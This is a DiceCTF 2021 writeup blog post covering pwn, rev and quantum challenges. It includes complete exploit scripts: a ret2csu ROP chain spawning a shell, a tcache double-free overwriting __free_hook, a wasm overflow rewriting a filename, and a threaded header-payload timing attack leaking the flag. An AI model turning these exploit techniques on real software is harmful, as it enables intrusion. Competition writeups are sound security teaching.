CTFするぞ

CTF以外のことも書くよ

DiceCTF 2021 Writeup

I played DiceCTF 2021 in zer0pts and we got the 2nd place :dice:

I couldn't play it full-time because of my school stuff :sob: but I solved some challenges.

[pwn 116pts] babyrop (163 solves)

Description: "FizzBuzz101: Who wants to write a ret2libc"
Server: nc dicec.tf 31924
File: babyrop

"Who wants to write a ret2libc?" Absolutely.

We're given an x64-86 ELF file. It has a simple buffer overflow vulnerability by gets function.

f:id:ptr-yudai:20210208120626p:plain

The point of this task is that the program uses only write function for the output. Because of the small binary, there's no gadgets like pop rdx; ret; which is required to prepare the third argument for write. There're some ways to solve this task and I used ret2csu this time.

At first, I leaked the address of write and did a search for the version of the libc used in the remote server. It turned out the server used libc-2.31. After that is easy: Just call system("/bin/sh") and done.

from ptrlib import *

elf = ELF("./babyrop")
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
#sock = Process("./babyrop")
libc = ELF('libc6_2.31-0ubuntu9.2_amd64.so')
sock = Socket("nc dicec.tf 31924")

csu_popper = 0x4011ca
csu_caller = 0x4011b0
rop_pop_rdi = 0x4011d3

payload  = b'A' * 0x48
payload += flat([
    csu_popper,
    0, 1, 1, elf.got('write'), 0x8, elf.got('write'), csu_caller, 0xdeadbeef,
    0, 0, 0, 0, 0, 0, elf.symbol('main')
], map=p64)
assert not has_space(payload)
sock.sendlineafter("Your name: ", payload)
libc_base = u64(sock.recv(8)) - libc.symbol('write')
logger.info('libc = ' + hex(libc_base))

payload  = b'A' * 0x48
payload += flat([
    rop_pop_rdi + 1,
    rop_pop_rdi,
    libc_base + next(libc.find('/bin/sh')),
    libc_base + libc.symbol('system')
], map=p64)
sock.sendlineafter("Your name: ", payload)

sock.interactive()

[pwn 149pts] flippidy (62 solves)

Description: See if you can flip this program into a flag :D
Server: nc dicec.tf 31904
Files: flippidy, libc.so.6

This is a heap task. We can create a notebook and add some notes to it.

---------- FLIPPIDYDIPPILF ----------
In this very realistic scenario our protagonist (you!) finds himself in search of a notebook...
That can flip itself!
This notebook flips its pages very well. I hope it suits someone as powerful as you.


Just give it the word, and the pages will reverse themselves!
To get started, first tell us how big your notebook will be: 4


----- Menu -----
1. Add to your notebook
2. Flip your notebook!
3. Exit
: 1
Index: 0
Content: Hello

The flip function reverses the array. In python syntax, the following process:

notes = notes[::-1]

Inside the flip function saves two notes temporarily and swap them from top to bottom, bottom to top. The original notes are freed and new notes are allocated.

When the size of the notebook is odd, however, the note located at the center of the array will be double-freed. As the server uses an older version of libc-2.27, we can abuse the tcache.

The problem is the program doesn't provide us with any functions that prints the data, which means we can't leak the address so far. Fortunately PIE is disabled.

Notice that the string values printed in the menu are located at the bss section.

f:id:ptr-yudai:20210208125100p:plain

So, we can overwrite them in order to leak the libc address. After that is straightforward.

from ptrlib import *

def add(index, content):
    sock.sendlineafter(": ", "1")
    sock.sendlineafter("Index: ", str(index))
    sock.sendlineafter("Content: ", content)
def flip():
    sock.sendlineafter(": ", "2")

elf = ELF("./flippidy")
libc = ELF("./libc.so.6")
#sock = Socket("localhost", 9999)
sock = Socket("nc dicec.tf 31904")

sock.sendlineafter("will be: ", "3")

add(1, p64(0x404020))
flip()
payload = flat([
    0x404040, 0x404072, 0x4040a4, elf.got('printf'),
    0x404020 # next
], map=p64)
add(0, payload)

sock.recvuntil("notebook!\n")
libc_base = u64(sock.recvline()) - libc.symbol("printf")
logger.info("libc = " + hex(libc_base))

add(0, "dummy")
payload = flat([
    0x404040, 0x404072, 0x4040a4, elf.got('printf'),
    libc_base + libc.symbol('__free_hook') # next
], map=p64)
add(0, payload)

add(0, "/bin/sh\0")
add(1, p64(libc_base + libc.symbol('system')))
flip()

sock.interactive()

[pwn 415pts] sourceless rust wasm pwn (5 solves)

Description: I hope you like sourceless rust wasm pwn! Haha, just kidding, here's the source. ... what, did you think the other part was a joke too? Run with wasmtime ./wasmpwn.wasm --dir ./
Server: nc dicec.tf 31798
Files: wasm.rs, wasmpwn.wasm, excalibur.txt

We're given a WebAssembly binary compiled by Rust. The author also distributed the Rust source code, which was really nice!

We can create and delete some swords. There are 10 swords prepared at initialization, all of which cannot be deleted. The vulnerability lies in the "inspect" function, which works like a normal edit function.

fn inspect<'a>(stock: &'a mut [*mut dyn Sword], log: &mut [u8]) -> &'a mut [*mut dyn Sword]  {
    println!("Which weapon do you want to inspect?");
    let mut index = String::new();
    prompt();
    io::stdin()
        .read_line(&mut index)
        .expect("failed to read input.");
    let index: usize = index.trim().parse().expect("invalid input");

    if !stock[index].is_null() {
        let log_s: String;
        let weapon: *mut dyn Sword = stock[index];
        unsafe {
            log_s = (*weapon).inspect();
        }

        if index >= 10 && log_s.len() > 256 {
            println!("Error: too big!");
            process::exit(0);
        }
        unsafe {
            ptr::copy_nonoverlapping(log_s.as_ptr(), log.as_mut_ptr(), log_s.len());
        }
    } else {
        println!("404 not found");
    }
    return stock;
}

copy_nonoverlapping may write out of bounds. However, our swords are put at the index larger than 10 and the following condition prevents us from causing the buffer overflow.

        if index >= 10 && log_s.len() > 256 {
            println!("Error: too big!");
            process::exit(0);
        }

We notice that the global index counter is calculated as an unsigned value of 8-bit.

fn forge<'a>(stock: &'a mut [*mut dyn Sword], c: &mut u8) -> &'a mut [*mut dyn Sword]  {

This way we can put our swords at the index smaller than 11. (I thought Rust causes panic when integer overflow happens but actually it doesn't in the release mode!)

Now, what can we do with the buffer overflow?

Remember that the source code is compiled into a WebAssembly binary. As you know, WebAssembly uses an ancient security mechanism. Every region like the stack, heap, bss and even the constant value is writable.

There exists a function that prints the contents of a file named "excalibur.txt"

fn read_file() -> String {
    let src_file: &str = "excalibur.txt";
    let mut src_file_handle: fs::File = fs::File::open(&src_file).expect(&format!("Could not open file: {}", &src_file));
    let mut buf: String = String::new();
    src_file_handle.read_to_string(&mut buf)
        .expect(&format!("Failed to read data from file: {}", &src_file));
    return buf;
}

So, we can overwrite the constant string "excaibur.txt" into something like "flag.txt" and read the content. Checking this value with gdb, it turned out the value was located hundreds of bytes forward from the overflow-able region.

I just abused the buffer overflow to modify "excalibur.txt" into "././/flag.txt".

import string
import random
from ptrlib import *

def add(name):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", name)
def delete():
    sock.sendlineafter("> ", "2")
def edit(index, desc):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("> ", str(index))
    sock.sendlineafter("> ", desc)
def view_stock():
    sock.sendlineafter("> ", "4")
def view_log():
    sock.sendlineafter("> ", "5")

#sock = Process(["wasmtime", "./wasmpwn.wasm", "--dir", "./"])
sock = Socket("nc dicec.tf 31798")

for i in range(250):
    add("A")
payload  = b'HELLO!!!' # marker
payload += b'A' * 0xf8
payload += flat([
    0x0000000200112750, 0x0000000000000002,
    0x0000000200112750, 0x0000000000000002,
    0x0000000100110150, 0x0011657000000000, # m
    0x0000000000100068, 0x0000013100116760, # m
    0x0000000000000131, 0x0000000500110050,
    0x0000000000000005, 0x0000000400110050,
    0x0000000000000004, 0x0000000000000000,
    0x0000000500000000, 0x0000000800000006,
    0x0000000700000004, 0x0000000100000008,
    0x0000000900000001
], map=p64)
payload += b"A" * 0x40
payload += flat([
    0x0010005c00092009,
    0x0010006200000006, 0x6373654400000001,
    0x3a6e6f6974706972, 0x0010007400000020,
    0x0010006200000009, 0x20756f5900000001,
    0x2074636570736e69, 0x6e61682072756f79,
    0x3f2e6b726f776964, 0x0000001c00100074,
    0x696d646120756f59, 0x6220737469206572,
    0x6e61202c6564616c, 0x732065746f6e2064,
    0x676e696874656d6f, 0x73657265746e6920,
    0x00003f2e676e6974, 0x0000003600100078,
    0x742064656c696166, 0x692064616572206f,
    0x7361772e7475706e, 0x0010010d73722e6d,
], map=p64)
payload += p64(0x0000002800000007) + p32(0)
payload += b'1. Forge a weapon?\0\0' + p64(0x0000001200100124)
payload += b'2. Scrap a weapon?\0\0' + p64(0x0000001200100140)
payload += b'3. Inspect a weapon?' + p64(0x000000140010015c)
payload += b'4. View stock?\0\0' + p64(0x0000000e00100178)
payload += b'5. View log?' + p64(0x0000000c00100170) # m
payload += b'6. Exit?' + p64(0x0000000800100174) # m
payload += b"What's the name of your new weapon??"
payload += flat([
    0x0000002400100174, 0x000000070010010d, # m
    0x0000000500000044, 0x0000000b656e6f4e,
    0x0000000400000009, 0x0000000d0000000c,
    0x00003f21656e6f44, 0x0000000600100208,
], map=p64)
payload += b'You feel yourself unable to scrap these legendary artifacts, rusty though they may be.?\0' + p64(0x0000005700100218)
payload += b'Which weapon do you want to inspect??\0\0\0' + p64(0x0000002500100278)
payload += p64(0x000000070010010d) + p64(0x0000000500000066)
payload += b'invalid input\0\0\0' + p64(0x000000070010010d)
payload += p64(0x0000001800000069) + p64(0x000000070010010d) + p64(0x000000090000006b)
payload += b'Error: too big!?' + p64(0x0000001000100278)
payload += b'404 not found?\0\0' + p64(0x0000000e00100300)
payload += p64(0x000000070010010d) + p64(0x0000000c00000072)
payload += b'You recall the weapon you saw last.?' + p32(0x00100328)
payload += p64(0x0010007800000024) + p64(0x0010006200000000)
payload += p64(0x0010010d00000001) + p64(0x0000007e00000007)
payload += p64(0x0000203e00000014) + p64(0x0000000200100374)
payload += p64(0x000000070010010d) + p64(0x0000000500000009)
#payload += b'excalibur.txt'
payload += b'././/flag.txt'
payload += b'Could not open file: \0\0' + p32(0x0010037d)
payload += p64(0x0010010d00000015)
payload += b'a' * 0x28
edit(0, payload)

view_stock()

sock.interactive()

Too busy to write full-writeup :P

なんかCTF終了後は卒研発表とかで忙しくて書く時間無かったので以下は適当writeup。

[rev 290pts] Guess the Vuln (14 solves)

HTTPサーバーが貰える。 ハンドラが別ファイルになっており、簡単にエンコードされて別のローカルIPに転送される。 理由は知らんけどそのファイルも貰えるのでデコードしてハンドラを読む。 結論から言うと、ハンドラはX-Payloadというヘッダを読み、そこをbrainfuckっぽい処理で実行する。 フラグのn文字目をテープに書き込む処理もあるのでtime based attackで1文字ずつリークできる。

import requests
import threading

def convert(code):
    return code.replace('>', 'l')\
               .replace('<', 'h')\
               .replace('+', 'k')\
               .replace('-', 'j')\
               .replace('[', '{')\
               .replace(']', '}')

oracle = {
    "0": "-[----->+<]>---.",
    "1": "-[----->+<]>--.",
    "2": "-[----->+<]>-.",
    "3": "-[----->+<]>.",
    "4": "-[----->+<]>+.",
    "5": "-[----->+<]>++.",
    "6": "-[----->+<]>+++.",
    "7": "-[----->+<]>++++.",
    "8": "+[--------->+<]>-.",
    "9": "+[--------->+<]>.",
    "a": "--[----->+<]>-----.",
    "b": "--[----->+<]>----.",
    "c": "--[----->+<]>---.",
    "d": "--[----->+<]>--.",
    "e": "--[----->+<]>-.",
    "f": "--[----->+<]>.",
    "g": "+[----->+++<]>.",
    "h": "+[----->+++<]>+.",
    "i": "+[----->+++<]>++.",
    "j": "+[----->+++<]>+++.",
    "k": "+[----->+++<]>++++.",
    "l": "+[------->++<]>--.",
    "m": "+[------->++<]>-.",
    "n": "+[------->++<]>.",
    "o": "+[------->++<]>+.",
    "p": "+[------->++<]>++.",
    "q": "+[------->++<]>+++.",
    "r": "+[--------->++<]>.",
    "s": "+[--------->++<]>+.",
    "t": "--------[-->+++<]>.",
    "u": "----[-->+++++<]>-.",
    "v": "----[-->+++++<]>.",
    "w": "------[-->+++<]>.",
    "x": "----[-->+++<]>--.",
    "y": "----[-->+++<]>-.",
    "z": "----[-->+++<]>.",
    "A": "----[---->+<]>++.",
    "B": "++++[++++>---<]>-.",
    "C": "++++[++++>---<]>.",
    "D": "++++[++++>---<]>+.",
    "E": "++++[++++>---<]>++.",
    "F": "-[------->+<]>---.",
    "G": "-[------->+<]>--.",
    "H": "-[------->+<]>-.",
    "I": "-[------->+<]>.",
    "J": "-[------->+<]>+.",
    "K": "-[------->+<]>++.",
    "L": "-[------->+<]>+++.",
    "M": "++[---------->+<]>.",
    "N": "-[--->+<]>-------.",
    "O": "-[--->+<]>------.",
    "P": "-[--->+<]>-----.",
    "Q": "-[--->+<]>----.",
    "R": "-[--->+<]>---.",
    "S": "-[--->+<]>--.",
    "T": "-[--->+<]>-.",
    "U": "-[--->+<]>.",
    "V": "+[--->++<]>.",
    "W": "+[--->++<]>+.",
    "X": "+[--->++<]>++.",
    "Y": "+[--->++<]>+++.",
    "Z": "+[--->++<]>++++.",
    "!": "++++[->++++++++<]>+.",
    '"': "--[------->++<]>--.",
    "#": "--[------->++<]>-.",
    "$": "--[------->++<]>.",
    "%": "+[------->+++<]>.",
    "&": "+[------->+++<]>+.",
    "'": "+[------->+++<]>++.",
    "(": "++[------>+<]>---.",
    ")": "++[------>+<]>--.",
    "*": "++[------>+<]>-.",
    "+": "++[------>+<]>.",
    ",": "++[------>+<]>+.",
    "-": "++[------>+<]>++.",
    ".": "++[------>+<]>+++.",
    "/": "-[----->+<]>----.",
    ":": "+[--------->+<]>+.",
    ";": "+[--------->+<]>++.",
    "<": "----[---->+<]>---.",
    "=": "----[---->+<]>--.",
    ">": "----[---->+<]>-.",
    "?": "----[---->+<]>.",
    "@": "----[---->+<]>+.",
    "[": "+[--->++<]>+++++.",
    "\\": "++++[--->+++++<]>.",
    "]": "+[--->++<]>+++++++.",
    "^": "+[--->++<]>++++++++.",
    "_": "+[--->++<]>+++++++++.",
    "`": "--[----->+<]>------.",
    "{": "--[-->+++++<]>.",
    "|": "--[-->+++<]>-.",
    "}": "--[-->+++<]>.",
    "~": "--[-->+<]>-.",
    " ": "++++[->++++++++<]>.",
}
# invert
for key in oracle:
    s = oracle[key][:-1]
    pos = s.find(">")
    s = s[:pos] + s[pos:].replace("+", "X").replace("-", "+").replace("X", "-")
    oracle[key] = s

# find
def blackbox(pos, char):
    global candidate
    cmd = '>' + chr(0x30 + pos) + '<' + oracle[char] + '[]'
    r = requests.get('https://guess-the-vuln.dicec.tf/a', headers={
        'X-Payload': convert(cmd)
    })
    if 'just guess' in r.text:
        candidate.append(char)

import time
# dice{obviously_just_brainf_in_header_in_options}
flag = ''
for i in range(32, 128):
    thlist = []
    candidate = []
    for char in oracle:
        th = threading.Thread(target=blackbox, args=(i, char))
        th.start()
        thlist.append(th)
        time.sleep(0.1)
    for th in thlist:
        th.join()

    if len(candidate) == 0:
        print("Not Found :(")
        exit(1)

    flag += candidate[0]
    if len(candidate) > 1:
        print("[!] Multiple candidates")
        print(i, candidate)
    print(f"[+] {flag}")

[quantum 436pts] quantum 1 (4 solves)

誰がどう見てもshorのアルゴリズムが量子回路で実装されている。 ファイルがいっぱいあるけど、ほとんどは剰余累乗アルゴリズム。 initializeが入力受け付けとかで、finalizeが量子フーリエ変換素因数分解の結果を取得する部分。 ということで残りがU(a2i)の計算なので、そこからNを逆算する。

暗号担当に聞いたらgcd使えと即答されたので使う。

 (a^{2} \mod N) + k_{1} N = a^{2}

 (a^{3} \mod N) + k_{2} N = a^{3}

k_{1}, k_{2}, Nが分からないので確かにgcdでNが求まる。

終わり。

import re

def parse(x):
    a = 0
    with open(f"circuit_parts/circuit_part_{x}.qasm", "r") as f:
        for line in f:
            if line.startswith("ccx "):
                r = re.findall("ccx q\[\d+\],q\[\d+\],q\[(\d+)\]", line)
                a |= 1 << (int(r[0]) - 384)
            else:
                break
    return a

a = parse(0)
b = parse(1)
c = parse(2)

k1N = a*a - b
k2N = a*a*a*a - c

N = gcd(k1N, k2N)
print(N)
p, q = factor(N)
p = p[0]
q = q[0]

ciphertext = [0 for i in range(14)]
ciphertext[0] = 45749875208794574
ciphertext[1] = 174236903665592715
ciphertext[2] = 92986020244906386
ciphertext[3] = 96036561989153081
ciphertext[4] = 172801515479555174
ciphertext[5] = 44641100244251515
ciphertext[6] = 3734906486773735
ciphertext[7] = 118982417340454121
ciphertext[8] = 174116556965592444
ciphertext[9] = 142609916776911323
ciphertext[10] = 23526131344477686
ciphertext[11] = 133653291044116991
ciphertext[12] = 40709263355256998
ciphertext[13] = 72092056193487302

e = 65537
d = inverse_mod(e, (p-1)*(q-1))
flag = b''
for c in ciphertext:
    m = power_mod(c, d, N)
    flag += int.to_bytes(int(m), 8, 'big')
print(flag.replace(b'\x00', b''))

[quantum 436pts] quantum 2 (4 solves)

同じRSA素因数分解回路が貰える。 ただの加算を使ってたのがbeauregardのアルゴリズムになり、draperの加算器が使われているというだけ。 ここでdraperの加算器のフーリエ変換処理が小さくて :thinking_face: になっていたが、よく見たら近似量子フーリエ変換してるだけだった。

f:id:ptr-yudai:20210211135629p:plain
実装されている加算器。実際にはa-Nはmcphaseで同時に計算している。

Φ(b)は実際にはΦ(|0))で、そこでcontrolled phase shiftを使ってAQFTしている。 draperの加算器はフーリエ変換すれば加算が簡単で、その後逆フーリエ変換で戻せば良いよね、という単純な仕組みなので、AQFTとAQFT^-1の間に挟まれた部分の処理を見ればよい。 処理としてはW(2i * a)|x_i>|0>をしている。(剰余累乗が目的なので0を入れていることに注意。) まぁ確かに各加算の先頭でXゲートにかけて0を量産してる。 あとはmulti-controlled phase shiftしてる部分がaの加算になるので、そこを取り出してquantum 1と同じことをすれば良い。 誤差か何か知らんけど結果がおかしい部分もあったので、なんとなく結果を眺めて多数決で使う場所を決めた。

import re
from math import pi

def parse(idx, th=0):
    start = False
    cnt = 0
    skip = 0
    l = [0.0 for i in range(64)]
    with open(f"circuit_parts/circuit_z_{idx}.qasm", "r") as f:
        for line in f:
            if line.startswith("mcphase"):
                start = True
                r = re.findall("mcphase\((.+)\) .+,q\[(\d+)\];", line)
                l[int(r[0][1]) - 192] = eval(r[0][0])
                cnt += 1
            else:
                if start and skip == th:
                    break
                elif start:
                    start = False
                    l = [0.0 for i in range(64)]
                    skip += 1
                    cnt = 0
    #assert len(lack) + cnt >= 64
    # a*2*pi*i / 2^k = c
    t = 0
    r = 0
    for k in range(64):
        a = l[k]*2**k / (2*pi)
        b = (a-t) / 2**(k-1)
        r |= int(round(b)) << k
        t = a
    print(bin(r))
    return r

a = parse(0, 2)
b = parse(1, 2)
c = parse(2, 2)

k1N = a^2 - b
k2N = a^4 - c
N = gcd(k1N, k2N)

p, q = factor(N)
p = p[0]
q = q[0]

e = 65537
ciphertext = [0 for i in range(18)]
ciphertext[0] = 630739985092765888
ciphertext[1] = 451537334074008087
ciphertext[2] = 812262022692002523
ciphertext[3] = 406863754676316755
ciphertext[4] = 272957246833162198
ciphertext[5] = 837206587612398866
ciphertext[6] = 878206764376026653
ciphertext[7] = 74850042067302209
ciphertext[8] = 59941172768887381
ciphertext[9] = 692983716161578660
ciphertext[10] = 977024416743871440
ciphertext[11] = 683876226070993692
ciphertext[12] = 701015663373142030
ciphertext[13] = 603050347939059586
ciphertext[14] = 260768514508744742
ciphertext[15] = 454028599464670705
ciphertext[16] = 494565845408874731
ciphertext[17] = 425724750896288294

d = inverse_mod(e, (p-1)*(q-1))

flag = b''
for c in ciphertext:
    m = power_mod(c, d, N)
    flag += int.to_bytes(int(m), 8, 'big')

print(flag.replace(b'\x00', b''))